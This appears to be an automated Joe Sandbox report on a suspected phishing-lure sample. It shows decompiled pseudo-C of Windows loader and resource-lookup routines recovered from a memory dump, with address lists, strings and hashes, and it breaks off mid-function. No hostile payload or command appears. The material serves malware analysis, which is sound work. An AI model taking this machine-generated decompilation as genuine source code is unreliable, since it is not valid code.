0x00a78fe4
0x00a26206
0x00a2620b
0x00a7902a
0x00000000
0x00a26211
0x00a26211
0x00a26216
0x00000000
0x00000000
0x00a2621c
0x00a2621f
0x00a26221
0x00000000
0x00000000
0x00a2622c
0x00a26235
0x00a26238
0x00a2623f
0x00a2624a
0x00a2624d
0x00a2624f
0x00a26291
0x00a26291
0x00a26277
0x00a26277
0x00a2627c
0x00a2627e
0x00a78ff7
0x00a78ff7
0x00a26284
0x00a26287
0x00a79002
0x00a79007
0x00a79009
0x00a79014
0x00a79014
0x00a79014
0x00a79020
0x00000000
0x00a2628d
0x00a2628d
0x00000000
0x00a2628d
0x00a26287
0x00a26251
0x00a26254
0x00000000
0x00000000
0x00a26256
0x00a26259
0x00000000
0x00000000
0x00a2625b
0x00a26261
0x00000000
0x00000000
0x00a26263
0x00a26266
0x00a26268
0x00000000
0x00000000
0x00a2626d
0x00a2626d
0x00a26270
0x00a26275
0x00000000
0x00a26275
0x00a26247
0x00a26247

Strings

RtlpResUltimateFallbackInfo Enter, xrefs: 00A261CE
RtlpResUltimateFallbackInfo Exit, xrefs: 00A261DD

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-2876891731
Opcode ID: 62d5dbbaa035a6c12985544c2d7029d28795d049ec480795e9287ce1c0fa9ea3
Instruction ID: de4b5a4467eaedd58cbc13ebcfba389e0f20adb0f9275309d5865c310aba09d5
Opcode Fuzzy Hash: 62d5dbbaa035a6c12985544c2d7029d28795d049ec480795e9287ce1c0fa9ea3
Instruction Fuzzy Hash: 7D41E170A01258DBDB20CFA9E944BBE77B4FF85314F248066E904DB2A1EB35DD00CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00A4D4B0, Relevance: 2.6, Strings: 2, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00A4D4B0(signed int* __ecx, signed int __edx, void* _a4) {
				signed int _v8;
				void* _t17;
				signed int* _t26;
				signed int _t29;
				void* _t34;
				signed int _t41;

				_push(__ecx);
				_push(__ecx);
				_v8 = _v8 & 0x00000000;
				_t26 = __ecx;
				_t41 = __edx;
				if(__ecx == 0 || __edx == 0) {
					_push(_t41);
					_push(_t26);
					L00AA5720(0x33, 0, "SXS: %s() bad parameters:\nSXS:    Map        : 0x%p\nSXS:    EntryCount : 0x%lx\n", "RtlpInitializeAssemblyStorageMap");
					_t17 = 0xc000000d;
				} else {
					_t34 = _a4;
					if(_t34 == 0) {
						_t29 = 4;
						_t17 = E00A4F3D5( &_v8, __edx * _t29, __edx * _t29 >> 0x20);
						if(_t17 >= 0) {
							_t34 = L00A34620( &_v8,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
							if(_t34 != 0) {
								_v8 = 1;
								goto L3;
							} else {
								_t17 = 0xc0000017;
							}
						}
					} else {
						L3:
						if(_t41 != 0) {
							memset(_t34, 0, _t41 << 2);
						}
						 *_t26 = _v8;
						_t17 = 0;
						_t26[1] = _t41;
						_t26[2] = _t34;
					}
				}
				return _t17;
			}

0x00a4d4b5
0x00a4d4b6
0x00a4d4b7
0x00a4d4bd
0x00a4d4bf
0x00a4d4c4
0x00a8b0b0
0x00a8b0b1
0x00a8b0c0
0x00a8b0c8
0x00a4d4d2
0x00a4d4d2
0x00a4d4d7
0x00a8b06a
0x00a8b074
0x00a8b07b
0x00a8b094
0x00a8b098
0x00a8b0a4
0x00000000
0x00a8b09a
0x00a8b09a
0x00a8b09a
0x00a8b098
0x00a4d4dd
0x00a4d4dd
0x00a4d4df
0x00a4d4e7
0x00a4d4e7
0x00a4d4ec
0x00a4d4ee
0x00a4d4f0
0x00a4d4f3
0x00a4d4f3
0x00a4d4d7
0x00a4d4fc

Strings

SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 00A8B0B7
RtlpInitializeAssemblyStorageMap, xrefs: 00A8B0B2

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 0-2653619699
Opcode ID: 130575bd6c491e8d9ece794e6a13c8af6e66812d0d378a0a672dfbe2181e89ca
Instruction ID: 5038ea984b68761d1b6cb5729c3f135e6bdbcdba5f611c5901cce43539dfa725
Opcode Fuzzy Hash: 130575bd6c491e8d9ece794e6a13c8af6e66812d0d378a0a672dfbe2181e89ca
Instruction Fuzzy Hash: 9F112576B00308FBE7249F489D41F6BB6B9DBC9B10F248029BA04EB280E771DD0093A4

Uniqueness

Uniqueness Score: -1.00%

Function 00A2C1C0, Relevance: 2.1, Strings: 1, Instructions: 876
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E00A2C1C0(signed int __ecx, signed int __edx, signed int _a4, signed int _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				intOrPtr _v56;
				char _v60;
				signed int _v64;
				signed int _v68;
				char _v69;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				char _v104;
				signed char _v105;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int* _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed short _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				char _v165;
				signed int _v172;
				signed int _v176;
				void* _v180;
				signed int _v184;
				char _v188;
				signed int _v192;
				signed int _v196;
				intOrPtr _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				void* _v216;
				signed int _v220;
				signed int* _v224;
				signed int* _v228;
				signed int _v236;
				char _v244;
				signed int __ebx;
				signed int __edi;
				signed int __esi;
				void* __ebp;
				signed int _t427;
				signed int _t428;
				signed int _t434;
				signed int _t439;
				void* _t441;
				signed int _t442;
				signed int _t443;
				signed char _t444;
				signed int _t452;
				signed int _t459;
				signed int _t460;
				signed int _t462;
				signed int _t463;
				signed char _t464;
				signed int _t470;
				signed short _t471;
				signed int _t474;
				signed int _t477;
				signed int _t479;
				signed int* _t483;
				signed short _t485;
				signed int _t486;
				signed int _t487;
				signed int _t490;
				signed int _t492;
				signed int _t500;
				signed int _t504;
				signed int _t511;
				signed int _t518;
				signed int _t527;
				signed int _t529;
				signed int _t531;
				signed int _t532;
				signed int _t536;
				signed int _t544;
				void* _t546;
				signed char _t548;
				signed short _t552;
				signed short* _t555;
				intOrPtr _t556;
				signed int _t557;
				signed int _t560;
				signed char _t565;
				signed int _t566;
				signed char _t568;
				intOrPtr* _t569;
				signed char _t575;
				signed int _t582;
				signed short _t583;
				signed int _t584;
				signed int _t588;
				signed int _t590;
				signed int _t591;
				signed int _t598;
				intOrPtr _t599;
				signed char _t601;
				intOrPtr* _t602;
				signed int _t605;
				intOrPtr* _t608;
				signed int _t618;
				void* _t620;
				signed int _t621;
				signed int _t622;
				signed int _t623;
				signed int _t626;
				signed int _t630;
				signed int _t631;
				signed int* _t633;
				void* _t634;
				signed int _t635;
				signed int _t636;
				signed int _t637;
				signed int* _t638;
				signed int _t641;
				void* _t642;
				intOrPtr _t643;

				_push(0xfffffffe);
				_push(0xaefa78);
				_push(0xa617f0);
				_push( *[fs:0x0]);
				_t643 = _t642 - 0xe0;
				_t427 =  *0xb0d360;
				_v12 = _v12 ^ _t427;
				_t428 = _t427 ^ _t641;
				_v32 = _t428;
				_push(_t428);
				 *[fs:0x0] =  &_v20;
				_v28 = _t643;
				_t633 = __edx;
				_v100 = __edx;
				_v96 = __ecx;
				_v164 = __edx;
				_v128 = _a12;
				_v160 = __edx;
				_v69 = 0;
				_v184 = 0;
				_t560 = _a4;
				_t594 = _a8;
				if(_t560 < 3) {
					__eflags = _t594 & 0x00000002;
					if((_t594 & 0x00000002) != 0) {
						goto L1;
					}
					L214:
					_t431 = 0xc00000f1;
					L92:
					 *[fs:0x0] = _v20;
					_pop(_t620);
					_pop(_t634);
					_pop(_t546);
					return L00A5B640(_t431, _t546, _v32 ^ _t641, _t594, _t620, _t634);
				}
				L1:
				if(_t560 > 4) {
					goto L214;
				}
				_t434 = _t594 & 0x00000041;
				if(_t434 != 0) {
					__eflags = _t560 - 4;
					if(_t560 != 4) {
						goto L214;
					}
					L147:
					__eflags = _t434;
					if(_t434 == 0) {
						goto L214;
					}
					__eflags = _t560 - 4;
					if(_t560 == 4) {
						_t560 = 3;
					}
					L4:
					_v124 = _t560;
					_v136 = _t560;
					_v8 = 0;
					_t548 =  !_t594;
					if((_t548 & 0x00000010) == 0) {
						L30:
						_t549 = 1;
						_v104 = 1;
						_t565 = _v96;
						_t635 = _t565;
						_v208 = _t635;
						_v120 = 0;
						_t621 = 0;
						_v92 = 0;
						__eflags = _t565 & 0x00000003;
						if((_t565 & 0x00000003) != 0) {
							asm("sbb al, al");
							_t549 = 0x00000001 &  !( ~(_t565 & 0x00000001));
							_v104 = 1;
							_t635 = _t635 & 0xfffffffc;
							__eflags = _t635;
							_v208 = _t635;
						}
						_t594 = E00A2E9C0(1, _t635, 0, 0,  &_v120);
						_t566 = _v120;
						__eflags = _t566;
						if(_t566 == 0) {
							L46:
							__eflags = _t594;
							if(_t594 < 0) {
								goto L207;
							}
							goto L47;
						} else {
							_t511 =  *(_t566 + 0x18) & 0x0000ffff;
							_t594 = 0x10b;
							__eflags = _t511 - 0x10b;
							if(_t511 != 0x10b) {
								_t594 = 0x20b;
								__eflags = _t511 - 0x20b;
								if(_t511 != 0x20b) {
									L207:
									_t621 = 0;
									L134:
									_v92 = _t621;
									L47:
									_v116 = _t621;
									__eflags = _t621;
									if(_t621 == 0) {
										_v8 = 0xfffffffe;
										_t431 = 0xc0000089;
										goto L92;
									}
									_v176 = _t621;
									_v84 = 0xeeee;
									_v112 = 0;
									_t636 = 0;
									_v156 = 0;
									_v148 = 0;
									__eflags = 0;
									_v68 = 0;
									_v64 = 0;
									_v88 = 0;
									_v180 = 0;
									_t594 = _v100;
									while(1) {
										L49:
										__eflags = _t621;
										if(_t621 == 0) {
											goto L112;
										}
										_t470 = _v136;
										_t566 = _t470 - 1;
										_v136 = _t566;
										__eflags = _t470;
										if(_t470 == 0) {
											goto L112;
										}
										__eflags = _t566;
										if(_t566 == 0) {
											__eflags = _v124 - 3;
											if(_v124 == 3) {
												_v148 = _t621;
											}
										}
										__eflags = _v148;
										if(_v148 != 0) {
											_t471 =  *((intOrPtr*)(_v160 + 8));
											_v88 = _t471;
											__eflags = 0x000003ff & _t471;
											_t189 =  &_v69;
											 *_t189 = (0x000003ff & _t471) == 0;
											__eflags =  *_t189;
											_t550 = _a8;
											goto L96;
										} else {
											L53:
											_t566 =  *((intOrPtr*)(_t621 + 0xc));
											_t109 = _t621 + 0x10; // 0x10
											_t638 = _t109;
											_v224 = _t638;
											_t459 =  *_t594;
											_v92 = _t459;
											_t460 = _t459 & 0xffff0000;
											__eflags = _t460;
											_v140 = _t460;
											if(_t460 == 0) {
												_t638 = _t638 + (_t566 & 0x0000ffff) * 8;
												_v224 = _t638;
												_t566 =  *((intOrPtr*)(_t621 + 0xe));
											}
											__eflags = _t566;
											if(_t566 == 0) {
												_t623 = _v124;
												_t462 = _t623 - _v136;
												__eflags = _t462 - 1;
												if(__eflags != 0) {
													_t462 = _t462 - 2;
													__eflags = _t462;
													if(__eflags == 0) {
														_t637 = 0xc000008b;
														L197:
														_v76 = _t637;
														_t550 = _a8;
														_t594 =  !_a8;
														asm("bt edx, 0x13");
														asm("bt edx, 0x11");
														_t463 = _t462 & 0xffffff00 | __eflags > 0x00000000;
														_t575 = (_t566 & 0xffffff00 | __eflags > 0x00000000) & _t463;
														__eflags =  !_a8 & 0x00000010;
														_t464 = _t463 & 0xffffff00 | ( !_a8 & 0x00000010) != 0x00000000;
														__eflags = _t464 & _t575;
														if((_t464 & _t575) == 0) {
															goto L91;
														}
														__eflags = _t623 - 3;
														if(_t623 != 3) {
															goto L91;
														} else {
															_t569 = _v160;
															_v48 =  *_t569;
															_v44 =  *((intOrPtr*)(_t569 + 4));
															_v40 =  *((intOrPtr*)(_t569 + 8));
															__eflags = _a4 - 4;
															if(_a4 != 4) {
																goto L191;
															}
															goto L247;
														}
														L199:
														__eflags = _t548 & 0x00000008;
														if((_t548 & 0x00000008) == 0) {
															L11:
															_v80 = 0;
															_v140 = 0;
															_v68 = 0;
															_t557 = _v96;
															_t631 = E00A2D1D0(_t557, 0, 0, 8);
															_v68 = _t631;
															if(_t631 == 0xffffffff) {
																L169:
																_t529 = 0x80000;
																_v80 = 0x80000;
																L19:
																_t594 = _a8 | _t529;
																_a8 = _t594;
																if((_t594 & 0x00040000) == 0) {
																	goto L30;
																}
																_t431 = 0xc000008a;
																_v76 = 0xc000008a;
																if((_t594 & 0x00020000) == 0) {
																	_v48 =  *_t633;
																	_t588 = _v124;
																	if(_t588 < 2) {
																		_t531 = 0;
																	} else {
																		_t51 =  &(_t633[1]); // 0x49
																		_t531 =  *_t51;
																	}
																	_v44 = _t531;
																	if(_t588 != 3) {
																		_t532 = 0;
																	} else {
																		_t53 =  &(_t633[2]); // 0x64004c
																		_t532 =  *_t53;
																	}
																	_v40 = _t532;
																	if(_a4 == 4) {
																		_t318 =  &(_t633[3]); // 0x520072
																		_v36 =  *_t318;
																	}
																	_t594 =  &_v48;
																	_v76 = L00A2B62E(_t557,  &_v48, _a4,  &_v48, _v128);
																}
																_v8 = 0xfffffffe;
																goto L92;
															}
															if(_t631 == 0) {
																_v60 = L"MUI";
																_v56 = 1;
																_v52 = 0;
																_t590 = _t557;
																_t536 = E00A2C1C0(_t590,  &_v60, 3, 0x30,  &_v144);
																_v196 = _t536;
																__eflags = _t536;
																if(__eflags < 0) {
																	L193:
																	_t631 = 0;
																	_v68 = 0;
																	_t591 = _t590 | 0xffffffff;
																	L168:
																	_push(0);
																	_push(_t536);
																	_push(2);
																	_push(0);
																	_push(_t591);
																	_push(0);
																	E00A4DA88(_t557, _t557, 0, _t631, _t633, __eflags);
																	__eflags = _t631;
																	if(_t631 != 0) {
																		goto L13;
																	}
																	goto L169;
																}
																_t590 = _t557;
																_t536 = E00A2D9A0(_t590, _v144,  &_v68,  &_v140);
																_v196 = _t536;
																__eflags = _t536;
																if(__eflags < 0) {
																	goto L193;
																}
																_t631 = _v68;
																__eflags =  *_t631 - 0xfecdfecd;
																if(__eflags != 0) {
																	_t536 = 0xc000007b;
																	_v196 = 0xc000007b;
																	goto L193;
																}
																_v140 = 0;
																_t591 = _t631;
																goto L168;
															}
															L13:
															_push( &_v80);
															_push(_a8);
															_push( *_t633);
															_push(_t631);
															if(L00A2ED40() < 0) {
																_t529 = 0x60000;
																L17:
																_v80 = _t529;
																L18:
																_t557 = _v96;
																goto L19;
															}
															_t529 = _v80;
															if(( *(_t631 + 0x14) & 0x00000100) != 0) {
																_t529 = _t529 | 0x00100000;
																_v80 = _t529;
															}
															if(( *(_t631 + 0x10) & 0x00000010) == 0) {
																goto L18;
															} else {
																_t529 = _t529 | 0x00200000;
																goto L17;
															}
														}
														__eflags = _t630;
														if(_t630 != 0) {
															__eflags = _t630 - 0x400;
															if(_t630 == 0x400) {
																goto L29;
															}
															__eflags = _t630 - 0x800;
															if(_t630 != 0x800) {
																goto L11;
															}
															goto L29;
														} else {
															L29:
															_t618 = _t594 | 0x00000010;
															__eflags = _t618;
															_a8 = _t618;
															goto L30;
														}
													}
													__eflags = _t462 == 1;
													if(_t462 == 1) {
														_t637 = 0xc0000204;
													} else {
														_t637 = 0xc000000d;
													}
													goto L90;
												}
												_t637 = 0xc000008a;
												goto L197;
											} else {
												__eflags = _v148;
												if(_v148 != 0) {
													_t550 = _a8;
													__eflags = _t550 & 0x00000020;
													if((_t550 & 0x00000020) == 0) {
														goto L57;
													}
													_t621 = 0;
													_v176 = 0;
													_v84 =  *_t638;
													_t636 = _t638[1] + _v116;
													__eflags = _t636;
													_v156 = _t636;
													L84:
													_t439 = _t550 & 0x00000002;
													__eflags = _t636;
													if(_t636 == 0) {
														L115:
														__eflags = _t621;
														if(_t621 != 0) {
															__eflags = _t439;
															if(_t439 == 0) {
																goto L116;
															}
															 *_v128 = _t621;
															_t637 = 0;
															L90:
															_v76 = _t637;
															L91:
															_v8 = 0xfffffffe;
															_t431 = _t637;
															goto L92;
														}
														L116:
														_t622 = _v124;
														_t441 = _t622 - _v136;
														__eflags = _t441 - 3;
														if(_t441 != 3) {
															_t442 = _t441 - 1;
															__eflags = _t442;
															if(__eflags != 0) {
																_t442 = _t442 - 1;
																__eflags = _t442;
																if(__eflags != 0) {
																	_t637 = 0xc000000d;
																	_v76 = 0xc000000d;
																	L227:
																	__eflags = _t637 - 0xc000008a;
																	if(__eflags == 0) {
																		L188:
																		_t594 =  !_t550;
																		asm("bt edx, 0x13");
																		asm("bt edx, 0x11");
																		_t443 = _t442 & 0xffffff00 | __eflags > 0x00000000;
																		_t568 = (_t566 & 0xffffff00 | __eflags > 0x00000000) & _t443;
																		__eflags =  !_t550 & 0x00000010;
																		_t444 = _t443 & 0xffffff00 | ( !_t550 & 0x00000010) != 0x00000000;
																		__eflags = _t444 & _t568;
																		if((_t444 & _t568) == 0) {
																			goto L91;
																		}
																		__eflags = _t622 - 3;
																		if(_t622 != 3) {
																			goto L91;
																		}
																		_t569 = _v160;
																		_v48 =  *_t569;
																		_v44 =  *((intOrPtr*)(_t569 + 4));
																		_v40 =  *((intOrPtr*)(_t569 + 8));
																		__eflags = _a4 - 4;
																		if(_a4 == 4) {
																			L247:
																			_v36 =  *((intOrPtr*)(_t569 + 0xc));
																		}
																		L191:
																		_t594 =  &_v48;
																		_t551 = _v96;
																		_t637 = L00A2B62E(_v96,  &_v48, _a4, _t550, _v128);
																		_v76 = _t637;
																		__eflags = _t637;
																		if(_t637 >= 0) {
																			_t594 = 0;
																			E00A44CD4(_t551, 0,  &_v48, _a4);
																		}
																		goto L91;
																	}
																	__eflags = _t637 - 0xc000008b;
																	if(__eflags != 0) {
																		goto L91;
																	}
																	goto L188;
																}
																_t637 = 0xc000008b;
																_v76 = 0xc000008b;
																goto L188;
															}
															_t637 = 0xc000008a;
															_v76 = 0xc000008a;
															goto L188;
														}
														_t637 = 0xc0000204;
														_v76 = 0xc0000204;
														__eflags = _v148;
														if(_v148 == 0) {
															goto L227;
														}
														_v156 = 0;
														L96:
														while(1) {
															L97:
															_t452 = _v112;
															_v112 = _v112 + 1;
															__eflags = _t452 - 0xc;
															if(__eflags > 0) {
																break;
															}
															switch( *((intOrPtr*)(_t452 * 4 +  &M00A2CEB0))) {
																case 0:
																	__eflags = 0 - _v88;
																	if(0 == _v88) {
																		goto L119;
																	}
																	__eflags = _t550 & 0x00080000;
																	if((_t550 & 0x00080000) != 0) {
																		_t454 = _v88 & 0x0000ffff;
																		goto L102;
																	}
																	goto L101;
																case 1:
																	__edx = __ebx;
																	__edx =  !__ebx;
																	asm("bt edx, 0x13");
																	__ecx = __ecx & 0xffffff00 | __eflags > 0x00000000;
																	asm("bt edx, 0x11");
																	__eax = __eax & 0xffffff00 | __eflags > 0x00000000;
																	__cl = __cl & __al;
																	__eflags = __dl & 0x00000010;
																	__eax = __eax & 0xffffff00 | (__dl & 0x00000010) != 0x00000000;
																	__eflags = __al & __cl;
																	if((__al & __cl) == 0) {
																		goto L101;
																	}
																	__edx = _v160;
																	__eax =  *__edx;
																	_v48 =  *__edx;
																	__ecx = _v124;
																	__eflags = __ecx - 2;
																	if(__ecx < 2) {
																		__eax = 0;
																	} else {
																		__eax =  *(__edx + 4);
																	}
																	_v44 = __eax;
																	__eflags = __ecx - 3;
																	if(__ecx != 3) {
																		__eax = 0;
																	} else {
																		__eax =  *(__edx + 8);
																	}
																	_v40 = __eax;
																	__eflags = _a4 - 4;
																	if(_a4 == 4) {
																		__eax =  *(__edx + 0xc);
																		_v36 =  *(__edx + 0xc);
																	}
																	__edx =  &_v48;
																	__edi = _v96;
																	__ecx = __edi;
																	__eax = L00A2B62E(__ecx, __edx, _a4, __ebx, _v128);
																	__esi = __eax;
																	_v76 = __esi;
																	__eflags = __esi;
																	if(__esi < 0) {
																		goto L101;
																	} else {
																		__eax =  &_v48;
																		__edx = 0;
																		__ecx = __edi;
																		__eax = E00A44CD4(__ecx, 0,  &_v48, _a4);
																		goto L91;
																	}
																case 2:
																	__eflags = _v69;
																	if(_v69 != 0) {
																		goto L101;
																	}
																	__ax = _v88;
																	goto L102;
																case 3:
																	__eflags = __bl & 0x00000004;
																	if((__bl & 0x00000004) != 0) {
																		goto L145;
																	}
																	__eflags = _v69;
																	if(_v69 != 0) {
																		goto L101;
																	}
																	__edx =  &_v64;
																	__eax = E00A1649B(__ecx, __edx);
																	__eflags = __eax;
																	if(__eax < 0) {
																		L119:
																		_t454 = 0;
																		goto L102;
																	}
																	__ax = _v64;
																	_v68 = __eax;
																	__eflags = _v64;
																	if(_v64 != 0) {
																		_v112 = _v112 - 1;
																	}
																	goto L104;
																case 4:
																	__eflags = _v69;
																	if(_v69 == 0) {
																		__ax = _v88;
																		__ecx = 0x3ff;
																		__ax = _v88 & __cx;
																	} else {
																		__eax = _v84 & 0x0000ffff;
																	}
																	goto L102;
																case 5:
																	__eflags = _v69;
																	if(_v69 != 0) {
																		goto L101;
																	}
																	goto L145;
																case 6:
																	__ax = _v84;
																	_v68 = __eax;
																	_v64 = __ax;
																	__eflags = __bl & 0x00000020;
																	if((__bl & 0x00000020) != 0) {
																		goto L104;
																	}
																	__eax = 0;
																	_v64 = __ax;
																	__eax = E00A2ABEC();
																	__eflags = __al;
																	if(__al == 0) {
																		__eax = 0;
																		_v64 = __ax;
																		L173:
																		__eax = _v84 & 0x0000ffff;
																		goto L102;
																	}
																	 *[fs:0x18] =  *( *[fs:0x18] + 0xfc0);
																	__eax =  *( *( *[fs:0x18] + 0xfc0) + 4) & 0x0000ffff;
																	__eflags = _v184 - __eax;
																	if(_v184 >= __eax) {
																		__eax = 0;
																		__eflags = 0;
																		_v64 = __ax;
																		L172:
																		__ebx = _a8;
																		goto L173;
																	}
																	__edx =  *[fs:0x18];
																	 &_v165 =  &_v64;
																	__esi = _v184;
																	__edx =  *( *[fs:0x18] + 0xfc0);
																	__eax = E00A2AAC7(__ecx, __edx, __esi,  &_v64,  &_v165);
																	__eax = _v64 & 0x0000ffff;
																	_v68 = __eax;
																	__eflags = __ax;
																	if(__ax == 0) {
																		goto L172;
																	}
																	__esi = __esi + 1;
																	_v184 = __esi;
																	_v112 = _v112 - 1;
																	__ebx = _a8;
																	goto L104;
																case 7:
																	__eax = __ebx;
																	__eax =  !__ebx;
																	__eflags = __eax & 0x00080000;
																	if((__eax & 0x00080000) == 0) {
																		L101:
																		_t454 = _v84;
																		goto L102;
																	}
																	__ecx = _v96;
																	__eax = E00A260F7(__ecx, 0, 1);
																	__eflags = __eax;
																	if(__eax == 0) {
																		goto L101;
																	} else {
																		__eflags =  *__eax - 0xfecdfecd;
																		if( *__eax != 0xfecdfecd) {
																			goto L101;
																		}
																		__ecx =  *(__eax + 0x7c);
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			goto L101;
																		}
																		 &_v244 = E00A5BB40(__ecx,  &_v244,  &_v244);
																		 &_v216 =  &_v244;
																		__eax = L00A243C0( &_v244,  &_v216);
																		__eflags = __al;
																		if(__al == 0) {
																			goto L101;
																		}
																		__ax = _v216;
																		goto L102;
																	}
																	goto L176;
																case 8:
																	L176:
																	__ax = _v84;
																	_v68 = __eax;
																	_v64 = _v84;
																	__eax = __ebx;
																	__eax =  !__ebx;
																	__eflags = __eax & 0x00080000;
																	if((__eax & 0x00080000) != 0) {
																		__ebx = __ebx | 0x00000020;
																		_a8 = __ebx;
																		goto L104;
																	}
																	__eflags =  *[fs:0x18];
																	if( *[fs:0x18] == 0) {
																		__ax = _v64;
																		__ebx = _a8;
																	} else {
																		__eax =  *[fs:0x18];
																		__ax =  *((intOrPtr*)(__eax + 0xc4));
																		_v64 =  *((intOrPtr*)(__eax + 0xc4));
																		__ebx = _a8;
																	}
																	goto L103;
																case 9:
																	_v68 = __esi;
																	_v64 = _v84;
																	__eax =  &_v180;
																	_push( &_v180);
																	_push(1);
																	__eax = L00A59630();
																	_v76 = __eax;
																	__eflags = __eax;
																	if(__eax < 0) {
																		goto L104;
																	}
																	__ax = _v180;
																	goto L102;
																case 0xa:
																	__ax = _v84;
																	_v68 = __eax;
																	_v64 = _v84;
																	__eax =  &_v220;
																	_push( &_v220);
																	_push(0);
																	__eax = L00A59630();
																	_v76 = __eax;
																	__eflags = __eax;
																	if(__eax < 0) {
																		goto L104;
																	}
																	__eax = _v220;
																	__eflags = __eax - _v180;
																	if(__eax == _v180) {
																		goto L104;
																	}
																	goto L102;
																case 0xb:
																	__eax = 0x409;
																	L102:
																	_v64 = _t454;
																	L103:
																	_v68 = _t454;
																	L104:
																	_t573 = _v68;
																	goto L105;
																case 0xc:
																	__ebx = __ebx | 0x00000020;
																	_a8 = __ebx;
																	L105:
																	_t456 =  !_t550;
																	__eflags = _t456 & 0x00000020;
																	if((_t456 & 0x00000020) == 0) {
																		L107:
																		_v84 = _v68 & 0x0000ffff;
																		_t594 =  &_v84;
																		_v100 = _t594;
																		_v164 = _t594;
																		_t621 = _v148;
																		_v176 = _t621;
																		goto L53;
																	}
																	__eflags = (_t573 & 0x0000ffff) - _v84;
																	if((_t573 & 0x0000ffff) == _v84) {
																		goto L97;
																	}
																	goto L107;
															}
														}
														L145:
														_v8 = 0xfffffffe;
														_t431 = 0xc0000204;
														goto L92;
													}
													__eflags = _t439;
													if(_t439 != 0) {
														goto L115;
													}
													 *_v128 = _t636;
													_t500 =  *[fs:0x18];
													__eflags =  *(_t500 + 0xfe0);
													if( *(_t500 + 0xfe0) == 0) {
														_v100 =  *[fs:0x18];
														 *((intOrPtr*)(_v100 + 0xfe0)) = L00A34620(_t566,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xc);
													}
													_t504 =  *[fs:0x18];
													__eflags =  *(_t504 + 0xfe0);
													if( *(_t504 + 0xfe0) != 0) {
														_t594 = _v96;
														 *( *( *[fs:0x18] + 0xfe0)) = _t594;
														( *( *[fs:0x18] + 0xfe0))[1] = _v156;
														( *( *[fs:0x18] + 0xfe0))[2] = _t594;
													}
													_t637 = 0;
													__eflags = 0;
													goto L90;
												}
												L57:
												_v228 = _t638;
												_v152 = _t566;
												_t621 = 0;
												_v172 = 0;
												_v80 = 0;
												_v204 = 0;
												_t598 = (_t566 & 0x0000ffff) - 1;
												__eflags = _t598;
												_t599 = _t638 + _t598 * 8;
												_v200 = _t599;
												_v132 = _t566;
												while(1) {
													__eflags = _t638 - _t599;
													if(_t638 > _t599) {
														break;
													}
													_t601 = _v132;
													_t552 = _t566 >> 0x00000001 & 0x0000ffff;
													__eflags = _t552;
													if(_t552 == 0) {
														__eflags = _t566;
														if(_t566 == 0) {
															break;
														}
														_t474 =  *_t638;
														__eflags = _v140 - _t621;
														if(_v140 != _t621) {
															__eflags = _t474;
															if(_t474 >= 0) {
																break;
															}
															_t555 = (_t474 & 0x7fffffff) + _v116;
															_t477 = E00A612B0(_v92,  &(_t555[1]),  *_t555 & 0x0000ffff);
															_t643 = _t643 + 0xc;
															_t566 = _t477;
															__eflags = _t566;
															if(_t566 != 0) {
																break;
															}
															_t602 = _v92;
															_v192 = _t602 + 2;
															do {
																_t479 =  *_t602;
																_t602 = _t602 + 2;
																__eflags = _t479;
															} while (_t479 != 0);
															__eflags = _t602 - _v192 >> 1 - ( *_t555 & 0x0000ffff);
															if(_t602 - _v192 >> 1 == ( *_t555 & 0x0000ffff)) {
																L77:
																__eflags = _t566;
																if(_t566 != 0) {
																	break;
																}
																_t566 = _t638[1];
																__eflags = _t566;
																if(_t566 >= 0) {
																	L111:
																	_t636 = _v116 + _t566;
																	_v204 = _t636;
																	L81:
																	_v176 = _t621;
																	_v156 = _t636;
																	_t594 = _v100 + 4;
																	_v100 = _t594;
																	_v164 = _t594;
																	goto L49;
																}
																L79:
																_t621 = (_t566 & 0x7fffffff) + _v116;
																__eflags = _t621;
																_v172 = _t621;
																break;
															}
															break;
														}
														__eflags = _t474;
														if(_t474 < 0) {
															break;
														}
														_t566 = _v92 - _t474;
														__eflags = _t566;
														goto L77;
													}
													_v105 = _v152 & 0x00000001;
													_t582 = _t552;
													_v192 = _t582;
													_t483 = _t638 + _t582 * 8;
													_v120 = _t483;
													__eflags = _t601 & 0x00000001;
													if((_t601 & 0x00000001) == 0) {
														_t483 =  &(_t483[0xfffffffffffffffe]);
														_v120 = _t483;
													}
													_t605 =  *_t483;
													__eflags = _v140 - _t621;
													if(_v140 != _t621) {
														__eflags = _t605;
														if(_t605 >= 0) {
															goto L67;
														}
														_t607 = (_t605 & 0x7fffffff) + _v116;
														_v144 = (_t605 & 0x7fffffff) + _v116;
														_t490 = E00A612B0(_v92,  &(((_t605 & 0x7fffffff) + _v116)[1]),  *_t607 & 0x0000ffff);
														_t643 = _t643 + 0xc;
														_t584 = _t490;
														__eflags = _t584;
														if(_t584 != 0) {
															L163:
															_t483 = _v120;
